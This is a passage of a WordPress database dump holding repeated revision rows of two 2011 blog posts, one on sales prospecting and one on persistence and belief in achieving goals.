and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-9', '', '', '2011-02-09 16:17:47', '2011-02-09 23:17:47', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-9/', 0, 'revision', '', 0),
(1534, 2, '2011-02-09 16:17:56', '2011-02-09 23:17:56', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="446" height="217" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with higher-paying clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers.\r\n\r\n<strong>Allow me to share my definition of what prospecting is:</strong>\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’sthe only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-10', '', '', '2011-02-09 16:17:56', '2011-02-09 23:17:56', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-10/', 0, 'revision', '', 0),
(1535, 2, '2011-02-09 16:24:38', '2011-02-09 23:24:38', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="446" height="217" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with higher-paying clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers.\r\n\r\n<strong>Allow me to share my definition of what prospecting is:</strong>\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when you need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’s the only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-11', '', '', '2011-02-09 16:24:38', '2011-02-09 23:24:38', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-11/', 0, 'revision', '', 0),
(1536, 2, '2011-02-09 16:24:48', '2011-02-09 23:24:48', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="446" height="217" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with higher-paying clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers.\r\n\r\n<strong>Allow me to share my definition of what prospecting is:</strong>\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when you need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’s the only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-12', '', '', '2011-02-09 16:24:48', '2011-02-09 23:24:48', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-12/', 0, 'revision', '', 0),
(1537, 2, '2011-02-09 16:30:35', '2011-02-09 23:30:35', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="446" height="217" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with higher-paying clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers.\r\n\r\n<strong>Allow me to share my definition of what prospecting is:</strong>\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If your business is all about rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out, just like their prospects..\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when you need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’s the only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-13', '', '', '2011-02-09 16:30:35', '2011-02-09 23:30:35', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-13/', 0, 'revision', '', 0),
(1538, 2, '2011-02-09 16:30:45', '2011-02-09 23:30:45', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="446" height="217" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with higher-paying clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers.\r\n\r\n<strong>Allow me to share my definition of what prospecting is:</strong>\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If your business is all about rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out, just like their prospects..\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when you need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’s the only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-14', '', '', '2011-02-09 16:30:45', '2011-02-09 23:30:45', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-14/', 0, 'revision', '', 0),
(1540, 2, '2011-03-22 10:49:00', '2011-03-22 17:49:00', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a>:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3>Know what you want, decide to pursue it, expect that it will be delivered to you.</h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'publish', 'open', 'open', '', 'know-what-you-want-expect-it-will-be-delivered', '', '\nhttp://www.whitehotcenter.com/manifesto/', '2011-03-22 10:49:00', '2011-03-22 17:49:00', '', 0, 'http://www.whitehotcenter.com/?p=1540', 0, 'post', '', 0),
(1541, 2, '2011-03-22 10:09:36', '2011-03-22 17:09:36', '', 'pearls', 0, '', 'inherit', 'open', 'open', '', 'pearls', '', '', '2011-03-22 10:09:36', '2011-03-22 17:09:36', '', 1540, 'http://www.whitehotcenter.com/wp-content/uploads/2011/03/pearls.jpg', 0, 'attachment', 'image/jpeg', 0),
(1562, 2, '2011-03-22 10:32:17', '2011-03-22 17:32:17', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3>Know what you want, decide to pursue it, expect that it will be delivered to you.</h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-20', '', '', '2011-03-22 10:32:17', '2011-03-22 17:32:17', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-20/', 0, 'revision', '', 0),
(1542, 2, '2011-03-22 10:13:35', '2011-03-22 17:13:35', '<h1><img class="alignnone size-full wp-image-1541" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls.jpg" alt="Pearls of Wisdom" width="495" height="266" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistence. But persistence alone is not enough to create results.</span></h1>\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\n\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\n<h3><strong>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</strong></h3>\nLet me re-state the principle here:\n<strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong>\n\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\n\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\n\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\n\nFeeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.\n\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\n\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\n\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision', '', '', '2011-03-22 10:13:35', '2011-03-22 17:13:35', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision/', 0, 'revision', '', 0);
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(1551, 2, '2011-03-22 10:25:27', '2011-03-22 17:25:27', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\nLet me re-state the principle here:\r\n<strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong>\r\n\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-9', '', '', '2011-03-22 10:25:27', '2011-03-22 17:25:27', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-9/', 0, 'revision', '', 0),
(1543, 2, '2011-03-22 10:13:48', '2011-03-22 17:13:48', '<h1><img class="alignnone size-full wp-image-1541" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls.jpg" alt="Pearls of Wisdom" width="495" height="266" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistence. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h3><strong>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</strong></h3>\r\nLet me re-state the principle 